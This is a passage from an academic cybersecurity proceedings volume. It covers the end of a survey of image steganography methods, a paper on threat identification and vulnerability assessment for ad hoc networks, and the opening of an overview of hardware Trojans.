pixels of the cover image is carried out through each of the rows of the image in a
zigzag manner. Let the gray values of two adjacent pixels are g1 and g2 then
d = g2 − g1. Take the absolute value of d which may be in the range from 0 to 255.
Steganography: A Survey 331

All values of d are in the range 0–255 say Di. The width of Di is calculated which is
always taken as a power of 2. The secret message is embedded according to the
range of Di and is replace with another difference value d. The difference ‘n’
between the old and the new difference values is calculated. And accordingly, the
new pixel values are calculated as gi-ceiling (n/2) and gi+1 +floor (n/2). The mes-
sage bits are extracted by calculating the difference between the new difference
value and the lower bound of the range block.
In ELSB [5], all the edge pixels in an image are used. Here, the masked image is
created by masking two LSBs in the cover image. Then, find out the edge pixels by
using the Canny Edge detection method and then hide the secret message in the
LSBs of the edge pixel. In this way, the stego-image is formed.
At the receiver, the stego-image is again masked as the same. Then by using
canny edge detector, the edge pixels are identified. We will get same edge pixels.
The secret message is extracted from the two LSB bits of the identified edge pixels.
BPCS [6, 7] by Eason, overcomes the limitations of LSB technique. As com-
pared to the above techniques, BPCS Steganography has very large embedding
capacity. In LSB technique, data is embedded in LSBs. But in BPCS technique data
can be embedded in planes in the complex region.
An image consisting of n-bit pixels. Convert all pixel intensity values in binary.
If n = 8, then every pixel is 8 bits. Then decomposed the image horizontally into
8-bit planes. Therefore, img = [PL7 PL6 PL5 PL4 PL3 PL2 PL1 PL0] where PL7 is
the Most Significant Bitplane and PL0 is the Least Significant Bitplane. For each bit
plane, the complexity of the image is determined. Accordingly, an image is seg-
mented into the informative region and noise-like region. An informative region is
having a simple pattern while noise-like region having a complex pattern. Here,
data embedding takes place in the noise-like region. Thus, BPCS steganography is
not perceptible to the human vision system.
Pixel Intensity Based method [8], uses 24-bit RGB image. So, Three pixels
(Red = 255, Green = 255 and Blue = 0) are generating Yellow color. If we change
(Blue = 16) still it generates Yellow color. If both yellow colors are comparing,
both have almost the same visibility. So, the idea is that if we change the lower
intensity pixel value it has less visual degradation quality effects. So here we can
use 4 LSBs for data embedding.

4 Observations

LSB method
• LSB work well with grayscale as well as color image.
• LSB method is easy for implementation.
• Changes in the image are not perceptible to the human eye.
• But once notice suspicious, easy to crack the message.
332 S. Pund-Dange

Pixel Value Differencing Method

• A little distortion is possible at the edges of the image.
• At the time of extraction, there is no need referencing a cover image.
• Only grayscale images are used for the experiment.
• The method is using an indexing technique on the pixel difference values d.
• If the range widths are from 8 to 128 with the power of 2, then the embedding
capacity is more. If the range widths are from 2 to 64 with the power of 2, then
the embedding capacity is less.
• The value of PSNR (peak Signal-to-Noise ratio) is less for the range widths 8–
128 whereas it is more for the range widths 2–64.
• The value of RMSE (root mean square error) is more for the range widths 8–128
whereas it is less for the range widths 2–64.
• The method is easy to implement.
• But if the image undergoes any transformation like cropping, then the bits of the
secret message is lost.
ELSB Method
• It is an improvement over LSB method. In LSB bits are hidden in each and
every pixel of the image. Once it observes suspicious, the message can crack
easily. Hence in ELSB, secret data gets embedded on the edge pixels.
• Only grayscale images are used for the experiment.
• The change in the image is not perceptible to the human eye.
• But the data hiding capacity is less as compare to LSB.
BPCS
• Very large data hiding capacity.
• Image quality is maintained. The changes in the images are not perceptible to
the human eye.
• Once the data is embedded, it is difficult to alter.
• But the computational cost is more.
Pixel Intensity-Based method
• All bytes of the cover image is used for data hiding.
• The data hiding capacity is large.
• It works for the color images.

5 Conclusions and Future Work

This paper describes different techniques and types of steganography. Also, it gives
a survey on different steganographic methods for the image in spatial domain with
some observations and limitations. The next plan is to develop a hybrid stegano-
graphic method using the existing methods or a new one which satisfies
steganography aspects mentioned above.
Steganography: A Survey 333

References

1. Kipper G (2003) Investigator’s guide to steganography. crc press

2. Hussain M, Hussain M (2013) A survey of image steganography techniques. Int J Adv Sci
Technol 54
3. Kale P, Bartere M (2015) A survey on image steganography technique. Int J Pure Appl Res
Eng Technol 3(9):143–152
4. Wu DC, Tsai WH (2003) A steganographic method for images by pixel-value differencing.
Pattern Recogn Lett 24(9–10):1613–1626, Elsevier
5. BrahmaTeja KN, Madhumati GL, Rao KRK (2012) Data hiding using EDGE based
steganography. Int J Emerg Technol Adv Eng 2(11). Website: www.ijetae.com. ISSN
2250-2459
6. Eason RO, Kawaguchi E (1998) Principle and applications of BPCS steganography. Proc SPIE
3528:464–473
7. Bhattacharyya S, Khan A, Nandi A, Dasmalakar A, Roy S, Sanyal G (2011) Pixel mapping
method (PMM) based bit plane complexity segmentation (BPCS) steganography. In: 2011
world congress on information and communication technologies, IEEE
8. Hussain M, Hussa M (2010) Pixel intensity based high capacity data embedding method
978-1-4244-8003-6/10 ©2010 IEEE

Author Biography

Shilpa Pund-Dange is basically a science graduate and com-

pletes her Masters of Computer Application from Amravati
University, Amravati, Maharashtra in 2000, perusing Ph.D.
From SSPU, Pune. She has total experience of 15 years.
Presently she is working as Assistant Professor, Dept of
Comp. Science at Modern College of Arts, Science and
Commerce, Shivajinagar, Pune-5, Maharashtra. Her research area
includes network security, Cryptography, Steganography.
Comprehensive Methodology for Threat
Identification and Vulnerability
Assessment in Ad hoc Networks

Richa Tyagi, Naveen Kumar Sharma, Kamini Malhotra

and Anu Khosla

Abstract Ad hoc networks are self-configuring wireless networks without any

centralized management. These days, such networks are useful in military appli-
cation owing to the ease of deployment. The inherent characteristics of these net-
works introduce new security threats and vulnerabilities that lead to more security
attacks as compared to wired and wireless infrastructure networks. For threat
identification, a hybrid threat identification methodology is proposed which com-
bines the “Asset centric and Attacker centric” approaches. It takes into account the
critical assets present in the network and the adversary capability required for
compromising these assets. Further, a vulnerability assessment methodology is
proposed under which the network vulnerabilities are analyzed at different levels—
Host, Routing Protocol, Node Behavior, and Crypto Algorithms. The proposed
methodology has been examined using two different types of scenario-emulated
network and real network.

Keywords Threat model Vulnerability assessment Malicious node



Asset- and attacker-centric model Black hole Wormhole

R. Tyagi (&)
N. K. Sharma
K. Malhotra
A. Khosla

SAG, DRDO, Metcalfe House, New Delhi, India
e-mail: [email protected]
N. K. Sharma
e-mail: [email protected]
K. Malhotra
e-mail: [email protected]
A. Khosla
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 335

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_33
336 R. Tyagi et al.

1 Introduction

Ad hoc networking [1, 2] is one of the emerging areas of research in wireless

communication. Such a network is a collection of wireless nodes (or routers),
dynamically forming a temporary network without any centralized administration.
The network has a dynamic topology that may change rapidly and unpredictably.
The network may operate in a standalone fashion or may connect to infrastructured
wireless or wired network.
These networks have inherently very different properties as compared to con-
ventional wired and wireless infrastructure networks. Features like
auto-configuration and adaptivity make them highly useful for communicating in
environments where no previous infrastructure exists in a cost-effective way. These
existing features of the ad hoc networks are essential in several communication
situations like military operations, disaster recovery operations, and networking of
sensors deployed in remote areas.
Owing to the unique characteristics of these networks, there exist numbers of
security risks that make the security design of these networks very challenging [2].
While designing a security solution for these networks, it is essential to assess all
the threats and vulnerabilities existing in such networks so as to mitigate them
effectively [3–8]. In this paper, a comprehensive methodology is proposed for threat
identification and vulnerability assessment to make the existing network less prone
to attacks and security breaches.
Section 2 covers the methodology developed for Threat identification in ad hoc
networks under three categories: Host, Network, and Application Services.
Section 3 describes the methodology for Vulnerability Assessment of ad hoc net-
works. Finally, Sect. 4 presents the conclusion based on the proposed work and
some directions for future research.

2 Threats in Ad hoc Networks

Threat to a network is any potentially malicious occurrence that can disrupt the
operation, functioning, integrity, or availability of the network or system [1, 7, 8].
There are three general approaches to threat identification: (a) Attacker-Centric
approach views it from an attacker’s point of view–their goals, motivations, and
how they might achieve them; (b) Design-centric approach starts from the design
of the system looking for types of attacks against each element (c) Asset-Centric
approach starts from assets entrusted to a system [9].
Ad hoc networks require customized threat model in contrast to threat model of
traditional networks. Therefore a hybrid threat identification methodology was
developed which combines the ‘Asset centric and Attacker centric’ approaches that
take into account the critical assets present in the network and the capabilities of the
adversary required to compromise these assets.
Comprehensive Methodology for Threat Identification … 337

2.1 Critical Assets in Ad hoc Networks

Ad hoc network deployment and functioning require a set of resources that are
shared among nodes. These can be described as assets. Although the network has a
number of assets, only those critical assets have been chosen that are fully owned
by the ad hoc layer [10] and are discussed below.
(a) Algorithm Processing: These are resources deployed in a node for calculating,
maintaining, and processing ad hoc networking.
(b) Algorithm Storage: The space required to store algorithms for the node that
are loaded on booting time or on request.
(c) Network and User Information: This refers to information shared between
nodes to aid in routing and contains information such as node location, power
availability, node speed, direction, radio profiles, user profiles, etc. This also
includes the information about the routing tables stored on a node.
(d) Network Topology and Node Roles: This refers to information about the
topology of a network, its behavior, and function of individual nodes and their
routing loads.
(e) Payload Messages: These are messages containing the control information and
user data which is carried on behalf of an application.
(f) Routing Messages: These are route discovery, update, and reporting messages
that are critical for an ad hoc network to successfully maintain connectivity and
routing capabilities.

2.2 Adversary’s Capabilities in Ad hoc Networks

As the physical layer is wireless in ad hoc network, the adversary can exploit it in
many ways and disrupt the network functions [6–8]. The adversary’s capabilities
can be characterized as
(a) Passive and Active: A passive adversary listens and records all the messages
including the routing updates in an unauthorized way. This information can be
used for traffic analysis. An active adversary prefers to interfere in some way,
e.g., by modulating packet, forwarding, injecting, replaying packets, etc.
(b) External and Internal: An external adversary carries out attacks by nodes that
do not belong to the network. It causes congestion, sends false routing infor-
mation or unavailability of services. An internal adversary mounts attacks as
compromised nodes that are part of the network.
(c) Static and Mobile: A static adversary has the capability to set the corrupted
nodes only once. A mobile adversary has the capability to change the set of
corrupted nodes from period to period.
338 R. Tyagi et al.

(d) Computational Bounded and Computational Unbounded: In the computa-

tional bounded environment, an adversary mounts limited traffic analysis and
break weak cryptographic algorithms easily. In computational unbounded
environment, eavesdrop traffic is relayed back to high-performance super-
computing network for analysis and mounting further attacks even on strong
crypto algorithms.
(e) Byzantine: In Byzantine scenario, an adversary compromises intermediate node
or a set of intermediate nodes that work in collusion and carry out attacks such
as creating routing loops, routing packets on non-optimal paths and selectively
dropping packets.
(f) Deployment Capability: It describes the capability of an adversary to deploy
single or multiple and external or internal compromised nodes that can achieve
a degree of physical to the network under attack.
These attributes can be used in combination, e.g., attacker may be active,
internal, and mobile.

2.3 Threat Identification

In the proposed solution, threats have been categorized under following three
categories:
(i) Host-based threats, (ii) Network-based threats, (iii) Application-based threats.
And for each category threat identification was carried out taking into account
the targeted assets and required attacker’s capabilities [11]. The security parameter
breach by the adversary has also been considered.
The first step of the methodology was to classify critical assets under these three
categories. Table 1 categorizes the assets of ad hoc network.
The developed threat identification method was applied to each category. It gives
a list of threats and possible attacks under individual threat, the impact of the threat
on the critical assets, attributes of the adversary’s capability required for specific
threat and security parameter breached by the adversary. Threats against
network-based assets are described in Table 2. The major threats affecting the
network are Eavesdropping, Manipulation of data packets, Routing protocols threat,
Misdirecting traffic, DoS, and Masquerading.
Threats against Host-based assets are described in Table 3. The major threats
affecting the hosts are DoS, Modification, and Information leakage. Threats against
Application-based assets are described in Table 4. The major threats affecting the
applications are Manipulation of application protocols and services, DoS and
Repudiation of Services.
Comprehensive Methodology for Threat Identification … 339

Table 1 Critical assets classified under three categories

SI Host systems Network components Applications
1 Algorithm processing Algorithm processing Algorithm
(Resources required by each (Resources required by a processing
host to communicate in ad hoc network to calculate, (Resources required
mode) process and maintain to run the
routing) applications)
2 Algorithm storage Network topology and Algorithm storage
(Storage required by each host node roles (Storage required to
to load algorithms on boot or (Topology of a network run application
communication time) and its behavior and services)
functions)
3 Network and user Payload messages Network topology
information (Information (Control information data and node roles
about host location and its propagating in the (Topology of a
profile, power availability, network) network and services
speed, and direction) running on the
nodes)
4 Payload messages Routing messages Payload messages
(User data propagating (Maintaining and updating (Custom applications
between host systems) routing fields and and Security-Related
connectivity) applications data)

Table 2 Threats against network-based assets

Threat’s name Critical assets affected and Attributes of adversary’s Security
and possible threat’s description capability required parameter
attacks breached
Eavesdropping Network topology and Passive, external, static, Confidentiality
node roles: Unauthorized computational bounded/ Anonymity
nodes gather routing unbounded, deployment
messages to extract capability
worthwhile information from
unencrypted or weakly
encrypted data
Manipulation Payload messages and Active, external/internal, Integrity
of data packets routing messages: static/mobile, deployment
Malicious modification and capability
replay of routing data
packets possible
(continued)
340 R. Tyagi et al.

Table 2 (continued)
Threat’s name Critical assets affected and Attributes of adversary’s Security
and possible threat’s description capability required parameter
attacks breached
Routing Routing messages: Aim to Active, external/internal, Availability
protocol disrupting the operation of static/mobile, deployment integrity
threats the network by modifying capability
(i) Routing routing information
table (RT) (i) Adversary advertises
overflow routes and prevents
(ii) RT creation of new routes to
poisoning authorized node
(iii) Packet (ii) Compromised nodes
replication send fictitious routing
(iv) Route updates
cache (iii) Adversary node
poisoning replicates stale packets
(v) Rushing (iv) Poison the route cache
attack (v) Adversary rapidly
spreads routing message
in the network. In each
route discovery, acts as
one of the intermediate
node
Misdirecting Routing messages & Active, internal, static/ Integrity
traffic payload messages: Redirect mobile, computational Availability
(i) Black hole traffic to a different bounded/unbounded,
(ii) Gray hole destination Byzantine, deployment
(iii) Wormhole (i) A malicious node falsely capability
(iv) Byzantine advertises good path then
intercepts and discards all
packets
(ii) A malicious node has the
ability to forward some
routing packets and
discard others
(iii) A tunnel is generated
between two colluding
attackers and redirects
the traffic through this
(iv) Set of compromising
nodes works in
collusion to create
routing loops,
nonoptimal routing
paths and dropping
packets
Denial of Algorithm processing and Active, external/internal, Availability
service network topology and node static/mobile, deployment
(i) Jamming roles: Adversary attempts to capability
(ii) Flooding
(continued)
Comprehensive Methodology for Threat Identification … 341

Table 2 (continued)
Threat’s name Critical assets affected and Attributes of adversary’s Security
and possible threat’s description capability required parameter
attacks breached
(iii) Distributed prevent legitimate users to
DoS access network services
(i) Adversary transmits high
power signal of same
frequency at which node
is receiving signal
(ii) Adversary floods the
network with false
routing messages
(iii) Several adversaries that
are distributed
throughout the network
collude and prevent
legitimate user from
accessing the services
Masquerade Network topology and Active, external/internal, Authentication
(i) Spoofing node roles: Adversary static/mobile, deployment Confidentiality
(IP, MAC) assumes the identity and capability Integrity
(ii) Sybil privileges of an authorized Anonymity
(iii) Session node
hijacking (i) Adversary modifies
address information in
packets and adopts an
authenticated identity in
the network
(ii) Adversary represents
multiple false identities
(iii) Adversary takes control
over a session between
nodes

Table 3 Threats against host-based assets

Threat’s name and Critical assets affected Attributes of Security
possible attacks and threat’s description adversary’s parameter
capability required breached
DOS (i) Algorithm Active, external/ Availability
Physical destruction, processing: The internal, static/
environmental attacks resources required for mobile, byzantine,
(heat, RF, power, and operation/processing of deployment
other resources attack) a node may not be capability
available
(ii) Payload messages:
Nodes may not be able
to participate in
communication
(continued)
342 R. Tyagi et al.

Table 3 (continued)
Threat’s name and Critical assets affected Attributes of Security
possible attacks and threat’s description adversary’s parameter
capability required breached
Modification (i) Algorithm storage: Active, external/ Integrity
Data corruption, node Algorithms may be read internal, deployment Authenticity
malfunction, node or altered at the node’s capability Confidentiality
replication storage Anonymity
(ii) Network and user
information: nodes or
user specific
information might be
modified
Information leakage (i) Network and user Passive, external, Confidentiality
Traffic monitoring and information: Node or static, computational Anonymity
analysis user specific bounded/
information might be unbounded,
readable deployment
(ii) Payload messages: capability
Unauthorized capture of
transmitted data might
be possible

Table 4 Threats against application-based assets

Threat’s name and Critical assets affected and Attributes of Security
possible attacks threat’s description adversary’s parameter
capability breached
required
Manipulation of Payload messages: Active, external/ Confidentiality
application protocol in Compromised application internal, Integrity
direct and covert protocols and leak or modify deployment
communication sensitive information capability
Side channel leakage Network topology and node Passive, Confidentiality
roles: Side channels may be external/internal,
used by clients to infer about deployment
network communication capability
Manipulation in time Payload messages: Actively Active, internal Integrity
services insert the jitter in security
protocol and other services
Manipulation in Network topology and node Active, internal, Availability
security-related roles and payload messages: Byzantine, Integrity
services Set of compromised nodes deployment
(i) Reputation-based communicating misleading capability
approach information
(continued)
Comprehensive Methodology for Threat Identification … 343

Table 4 (continued)
Threat’s name and Critical assets affected and Attributes of Security
possible attacks threat’s description adversary’s parameter
capability breached
required
(ii) Environmental (i) In this approach, collusion
(iii) Service collusion by set of nodes to isolate a
threat target
(ii) In distributing sensing
services, environmental
corruption of the sensed
information may prompt
the derivation of a
misleading inference
(iii) Set of nodes
compromised and gives
misleading information
to services (sensing)
Denial of service Network topology and node Active, external/ Availability
(i) Resilience thrashing roles, algorithm processing, internal, mobile,
(ii) Resources and storage: Services deployment
consumption (buffer running at node may be capability
limit, computational subjected to DoS attack
power) (i) In resilience services,
MANETs should be
dynamically
reconfigurable and
services may be
dynamically relocated. By
clever manipulation,
adversary causes a system
to repeatedly reconfigure
(ii) Adversary needs to send
appropriately timed
requests to deny service
availability to legitimate
users. It also sends
service requests that are
highly computationally
intensive
Repudiation of a Payload messages: Denial of Active, external/ Non-repudiation
service service by an adversary node internal
involved in communication

3 Vulnerabilities of Ad hoc Networks

Vulnerability is an inherent weakness in design, configuration, or implementation

of a network or system that renders it susceptible to an attack. Ad hoc networks are
more vulnerable than wired and wireless infrastructure networks due to their
344 R. Tyagi et al.

inherent characteristics of (i) Sharing broadcast wireless channel, (ii) No central

controlling infrastructure, (iii) Absence of authentication mechanism, (iv) Insecure
operational environment, (v) Resources constraint, (vi) Node as router, (vii) dy-
namic network topology, and (vii) Scalability [1, 2]. These characteristics introduce
several vulnerabilities which can be exploited by an adversary.
In addition to these vulnerabilities, the network also share the vulnerabilities of
wired and wireless infrastructure network, such as (i) Analysis of message flow,
(ii) Hijacking of medium or network connection, (iii) Manipulation of data,
(iv) Masquerading, (v) Flooding of data, etc., to be enumerated. Because of these
additional vulnerabilities, they are more prone to security attacks. Many existing
security solutions for conventional networks are ineffective and inefficient for this
environment. Consequently, researchers have been working in the past decade on
developing new security solutions or changing current ones to be applicable to ad
hoc networks [4–6, 12–16].
To develop a methodology to assess the vulnerabilities of these networks, it is
important to understand the nature of these vulnerabilities and subsequent security
risks they pose.

3.1 Proposed Methodology for Vulnerability Assessment

To assess vulnerabilities in large-scale networks two different network scenarios

were considered:
1. Nodes were connected directly without access point in ad hoc mode using
802.11 (WiFi) technologies and kept 30 m apart.
2. Ad hoc network was emulated using EXata Cyber Software with four real nodes
mapped to simulated nodes.
Vulnerabilities were analyzed at the following levels:
(i) Vulnerability of Host, (ii) Vulnerability of Routing Protocol,
(iii) Vulnerability of a node becoming malicious, (iv) Vulnerability of Crypto
Algorithm.

3.1.1 Vulnerability of Host

Host system vulnerabilities arise due to implementation gaps in OS, misconfigu-

rations of OS/Applications, open vulnerable services and ports. Vulnerability
scanning tool, ‘Nessus’ was used to scan the vulnerabilities present in each node or
host. Host-based scanning provided information about a total number of hosts
connected to the network, open default ports, and services running on those ports,
operating systems of the host and presence of firewall if any. A report containing a
list of vulnerabilities, criticality of vulnerability, and multiple numbers of solutions
Comprehensive Methodology for Threat Identification … 345

to mitigate that particular vulnerability is compiled. These vulnerabilities can lead

to DoS, Unauthorized access, and Unauthorized acquisition of system attacks.

3.1.2 Vulnerability of Routing Protocol

One of the major sources of vulnerabilities in ad hoc networks is the routing

protocol, which may be exploited by malicious nodes to disrupt the normal routing
behavior. A variety of routing protocols have been developed but many of these
proposed routing protocols have inherent security flaws. The proposed methodol-
ogy depends on the various fields of the routing protocol. Vulnerabilities of the two
most commonly used unsecured routing protocols, Dynamic Source Routing pro-
tocol (DSR), and Ad hoc On-Demand Distance Vector Routing protocol (AODV)
were assessed. The manipulation of the following features leads to vulnerabilities:
(i) Modification in fields of routing protocol—Modify RREQ or RREP packets
to cause DoS, Generate false RRER packets to increase routing delay,
Modify hop count and distance sequence to redirect traffic.
(ii) Impersonations of network IP address posing as a legitimate node thus
redirecting or dropping the packets.
(iii) Flooding of routing packets to disrupt the normal routing behavior.
(iv) Eavesdropping and manipulation of routing information easily due to wire-
less broadcast communication.
(v) Host vulnerabilities affecting routing protocols.
These vulnerabilities may lead to Black hole, Gray hole, Information disclosure,
DoS, Snooping, Manipulation of network traffic, and Routing attacks.
To assess the Routing Protocol vulnerability, the Wireshark Packet sniffer tool
was used to find out the details of routing protocol, routing packets, and data
packets that were present during transmission in the given ad hoc network. Routing
data packets and its fields’ information (number of Route Request packets, Route
Reply packets, Route Error packets, hop count, destination sequence number, etc.)
were collected using sniffers for analysis.

3.1.3 Vulnerability of a Node becoming Malicious

The possibility of a node becoming malicious is very high and is the second major
source of vulnerability in the ad hoc networks. A node can become malicious when
it breaches any of the security principles and start behaving in one or more of the
following ways:
(i) A node drops the packet fully or partly.
(ii) A node wastes the battery, storage, and bandwidth by performing unneces-
sary operations.
346 R. Tyagi et al.

(iii) A node becomes a part of the network without authentication and starts
disrupting the normal behavior of the network.
(iv) A node starts injecting stale packets and creates confusion in the network.
These vulnerabilities lead to Wormhole, Byzantine, Resource consumption,
Impersonation, Session Hijacking, and DoS attacks.

3.1.4 Vulnerability of Crypto Algorithm

Crypto algorithm forms the core of security in ad hoc networks. The security
parameters––authentication, confidentiality, and integrity of data should be taken
care during design of the network. The strength of the cryptographic algorithms
used should be high and match with the level of secrecy required in communication.
Inappropriate and weak crypto algorithms can be exploited by an adversary to
compromise a node or data and routing protocol communication and become a
source of vulnerability. These vulnerabilities lead to unauthorized access to the
network, system, and data and cause message tampering, stealing information, and
DoS attacks.

4 Conclusion

In this paper, a comprehensive methodology for threat identification and vulnera-

bility assessment is presented. For threat identification, a hybrid methodology based
on Asset-centric and Attacker-centric approaches is proposed which followed by
the proposed vulnerability assessment methodology, which analyzes the vulnera-
bilities at four levels: Host, Routing Protocol, Node Behavior, and Crypto
Algorithms. To mitigate these vulnerabilities several security solutions for ad hoc
networks have been proposed in the literature. The host-specific vulnerabilities can
be mitigated using cryptographic techniques like Password-Based Group Systems
and Threshold Cryptography. Similarly, the ad hoc routing protocols vulnerabilities
can be avoided by using security aware routing protocols. Detection of malicious
nodes is possible by using Wireless Intrusion Detection System (WIDS). Security in
ad hoc networks is a very complex and challenging task and the methodology
proposed will help in further development of security solutions.

References

1. Murthy CSR, Manoj BS (2004) Ad hoc wireless networks architectures and protocols.
Published byPearson Education (ISBN 81-297-0945-7)
2. Sarkar SK, Basavaraju TG, Puttamadappa C (2008) Ad hoc mobile wireless networks
principles, protocols, and applications, 22. Aurebach Publications, Taylor & Francis Group
Comprehensive Methodology for Threat Identification … 347

3. Sen S, Clark JA, Tapiador JE (2010) Security threats in mobile ad hoc networks. J Dept
Comput Sci, Univ. of York, UK, 32
4. Goyal P, Parmar V, Rishi R (2011) MANET: vulnerabilities, challenges, attacks, application.
JCEM, 11:32–37
5. Sangwan S, Jangra A, Goel N (2011) Vulnerabilities and solutions: mobile ad hoc networks
for optimal routing and security. J GRCS 2(5):8–12
6. Yau P-W, Mitchell CJ (2003) Security vulnerabilities in ad hoc networks: research
programme of the virtual centre of excellence in mobile & personal communication. In:
Proceeding of the 7th ISCTA, 99–104
7. Spiewak D, Engel T, Fusenig V (2006) Towards a threat model for mobile ad hoc networks.
In: Proceeding of the 5th international conference on information security and privacy, 35–40
8. Clark JA, Murdoch J, McDermid JA, Sen S, Chivers HR, Worthington O, Rohatgi P (2007)
Threat modelling for mobile ad hoc and sensor networks. In: ITA conference
9. Information Security Provider and Research Centre (2011) Threat modelling. www.
Praetorian.com
10. Martin A (2006) A platform independent risk analysis for mobile ad hoc networks. In: Boston
university conference on information assurance and cyber security
11. Chidambaram V (2004) Threat modelling in enterprise architecture integration. SETLabs
briefings. EABC 2(4)
12. Saini R, Khari, M (2011) Defining malicious behavior of a node and its defensive methods in
ad hoc networks. JCA, 20(4)
13. Chayal D, Rathore VS (2011) Assessment of security in mobile ad hoc networks (MANET).
J GlobResComp Sci, 2(6)
14. Kayarkar H (2012) A survey on security issues in ad hoc routing protocols and their
mitigation technequies. Int. J. Adv Netw Appl 03(05):1338–1351
15. Sen S, Clark JA (2007) Intrusion detection in mobile ad hoc networks: In guide to wireless ad
hoc network. InGuide to Wireless Ad Hoc Networks, 53:427–454. Springer Publication,
London
16. Marti S, Giuli TJ (2000) Mitigating routing misbehaviour in mobile ad hoc networks. In:
Proceedings of the 6th ACM international conference on mobile computing and networking
(MobiCom), pp 255–265
Hardware Trojans: An Austere
Menace Ahead

Anupam Tiwari and Chetan Soni

Abstract Hardware Trojans, a relatively unheard threat viz-a-viz the typical

software-based malwares and virus attacks that keep betiding across is being
realized gradually by the IT security domain including the users, the IT Security
professionals, and the corporate sector who all of a sudden discern the immense
threat they might already be living in with. A distinctive dormant Hardware Trojan
threat can be so flagitious that the victim does not even know if he is effectuated
when he might already be. Hardware Trojans are evolving threats that can shake the
roots of any set and constituted government or corporate giant for that matter.
Unlike Software virus/malware threats, Hardware Trojans are pertinacious in nat-
ure. This paper brings out an overview of these threats including classifications,
mechanisms they work on and the current set of countermeasures being researched
upon.

Keywords Integrated circuits Hardware Trojans Threats Networking threats




IC fabrication Backdoors System on chip Trojan side channel

1 Introduction

We all are purview to the City of Troy story wherein few hundred years back,
Greek soldiers undertook many attempts but unsuccessfully to capture the city of
Troy. Eventually, they departed, leaving behind a large wooden horse, ostensibly as
a gift. The citizens of Troy were too happy to accept the wooden horse but as it had
to come about; a group of Greek soldiers came out of the horse late night handily
and opened the gates for their paisanos, who easily dismissed the quiescent city.

A. Tiwari (&)
C. Soni

National Informatics Centre, Ministry of Defense, New Delhi, India
e-mail: [email protected]
C. Soni
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 349

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_34
350 A. Tiwari and C. Soni

Come to present, Trojan [1] as a term today is synonymous more with the IT
Security incidents that have seen a phenomenal increase over a decade. For over a
decade now, the IT Security domain loyalists have dedicated their energies,
resources, domain knowledge, brainstorming sessions and investments into ensur-
ing that the security is ensured for the user. And so the market today got an overplus
of options too, viz., antivirus solutions, Firewalls, Internet Security Editions,
UTMs, and the list goes on. These may be different technically in operating but
there is one common thing in all these options that they all have a mechanism to
detect the threats which are all software based. They have no way, no mechanism to
thwart, or even think to detect a threat which is embedded deep inside the IC
hardware. A threat is so obliterated to be seen, so unthinkable that for the panic
struck solution providers it is like where to start from? How to do? What to do?

2 Defining Hardware Trojan

A Hardware Trojan [2] is a designed alteration of an IC ensuing in the undesired

conduct of an electronic device when desired to be in operation with a malicious
intent without the knowledge of the user. This undesired conduct in the IC may take
any of the forms, viz., Logic Modification which might involve placing an addi-
tional logic gate with an optional activation programmed to give unlooked-for
output signal leading to overall error result or it can be an Electrical modification
that would falsify the timing characteristics of IC by doing Extra capacitive loading
on a circuit path.

2.1 Hardware Trojans: Origin and Penetration

Hardware Trojan came into being primarily imputed to outsourcing the fabrication
and design to third parties attributed to the huge scales of requirements and
economies involved. Now, this small modification can be in place anywhere of a
corporate house infrastructure, household chores appliances, or even military and
defense COTS equipment.

2.2 Hardware Trojan Security Significations

The austere consequences of Hardware Trojans are well left to the imagination of
what holds on to be excluded today in the increasing scenario where dependence on
IC and SoC is only increasing. The key heads affected and vulnerable to such
attacks may include Logistics Systems and Support domain, viz., Transport
infrastructure, Traffic Control, Metro/Rail monitoring and control, Civil critical
Hardware Trojans: An Austere … 351

applications, viz., Banking, Stock market IT infrastructure, Military Systems viz

Weapon control systems, Satellite controls, Radar systems, Surveillance Systems,
Decision support systems, Aviation and Aeronautics industry or Miscellaneous
domains like Data centers IT infrastructure, Personal info stored in Clouds,
Government systems in critical setups, etc.

2.3 Hardware Versus Software Trojans

As brought out from the above about HT, the comparison between severity
viz-a-viz Software Trojans allows HT to take leaps out-front lead. It empathizes that
the software threats that exist with us over decades now are yet to get a stable and
an assured solution by any means and this HT threat has just arrived in the fora.
A mini comparison [3] between the two is bought out in the figure below:

Attribute Hardware Trojans Software Trojans

Agency Prefabrication embedding in the Resides in code of the OS or in the
involved hardware IC during manufacturing or running applications and gets
infecting retrofitted later activated whilst execution
Mode Third-party untrusted agencies Downloading malicious files from
involved to manufacture ICs in the Internet or via social engineering
various stages of fabrication methods executing malicious files or
commonly sources USB, etc.
Current Currently none, since once Signatures released by antivirus
Remedial embedded there is no way to remove companies and software patches
measure the same other than destroying based on behavioral pattern
available observed

3 Hardware Trojan Systematics

A hardware Trojan to operate needs ground and power supply which can be low or
high depending on the design it is based on. A Trojan that requires a low-end power
supply will have low chances of being detected whereas a Trojan requiring higher
power supply would invariably be at a larger chance of detection by a sensor if
placed. Hardware Trojans have a range of classification based on various charac-
teristics and modes they work in. The classification keeps on evolving as more
newfangled approaches and dimensions of attacks are detected. A form of classi-
fication based on the activation mechanism of triggering the attack that can be
Digital or Analog. Analog will typically get activated based on any analog input
type like Temperature, Pressure, time-lag etc. whereas digital will be based on some
kind of Boolean logic function [4] has classified the same in another manner as
shown in Fig. 1. The classifications as shown are to some degree perceivable by
352 A. Tiwari and C. Soni

Hardware Trojans

Physical AcƟvaƟon AcƟon

DistribuƟon Externally Internally Always on CondiƟonal Transmit

Structure Antenna Logic Modify Specs

Size Sensor Sensor Modify FuncƟon

Type

Fig. 1 Taxonomy of Hardware Trojans [1]

their names and depict a very basic and broad classification of the HTs. Another
classification [5] divides Hardware Trojans into two types that include
Parasite-Based HTs and Bug-based HTs. A parasite based HT hides in the original
circuit without altering it and is not involved to lose any set and defined func-
tionalities in the circuit whereas a Bug-based HT not only alters the circuit but also
causes it to lose its set and configured functionalities. Of the two parasites HTs
become more difficult to be detected through owing to hidden nature and is actually
untraceable in specified specs as well as testing.

4 Nemesis Framework

Hardware Trojans insertion would actually gain a large mileage and suit to bestow
maximum scathe in a typical supply chain which essentially consists of unalike and
miscellanea of insertion points. Hardware Trojan-infected hardware would be more
apt for a larger organization and a huge victim base since it will allow a deeper
penetration in terms of the scale of victims.

4.1 Hardware Trojan Structure and Mechanics

A typical HT will have primarily two components including a Trigger and a

